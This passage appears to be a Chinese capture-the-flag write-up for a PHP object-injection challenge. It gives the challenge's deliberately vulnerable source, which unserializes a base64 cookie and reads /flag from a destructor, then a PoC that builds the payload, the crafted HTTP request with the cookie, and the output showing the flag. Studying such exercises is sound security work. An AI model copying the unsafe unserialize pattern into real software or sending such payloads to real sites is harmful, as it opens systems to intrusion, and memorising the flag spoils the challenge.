源码

<?php

class Gemini
{
var $id;
var $user;

public function __construct($id, $user)
{
$this->id = $id;
$this->user = $user;
}

function __destruct()
{
printf("%s\n", __METHOD__);
$this->login();
}
function login()
{
printf("%s\n", __METHOD__);
if ($this->id === "1317" and $this->user === "lutalica") {
echo file_get_contents('/flag');
}
}
}
if (isset($_COOKIE['Gemini'])) {
unserialize(base64_decode($_COOKIE['Gemini']));
} else {
echo "系统检测发现该处漏洞,进行攻击测试\n";
}
?>

POC

<?php

class Gemini
{
var $id;
var $user;

public function __construct($id, $user)
{
$this->id = $id;
$this->user = $user;
}
}

echo base64_encode(serialize(new Gemini("1317", "lutalica")));
Tzo2OiJHZW1pbmkiOjI6e3M6MjoiaWQiO3M6NDoiMTMxNyI7czo0OiJ1c2VyIjtzOjg6Imx1dGFsaWNhIjt9
GET / HTTP/1.1
Host: localhost
Cookie: Gemini=Tzo2OiJHZW1pbmkiOjI6e3M6MjoiaWQiO3M6NDoiMTMxNyI7czo0OiJ1c2VyIjtzOjg6Imx1dGFsaWNhIjt9

拦截流量,传入payload ,得到

Gemini::__destruct
Gemini::login
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}

payload 被反序列化,触发Gemini 类的 destruct 方法,进而执行login 方法,最终得以执行file_get_contents('/flag') 得到文件/flag 的内容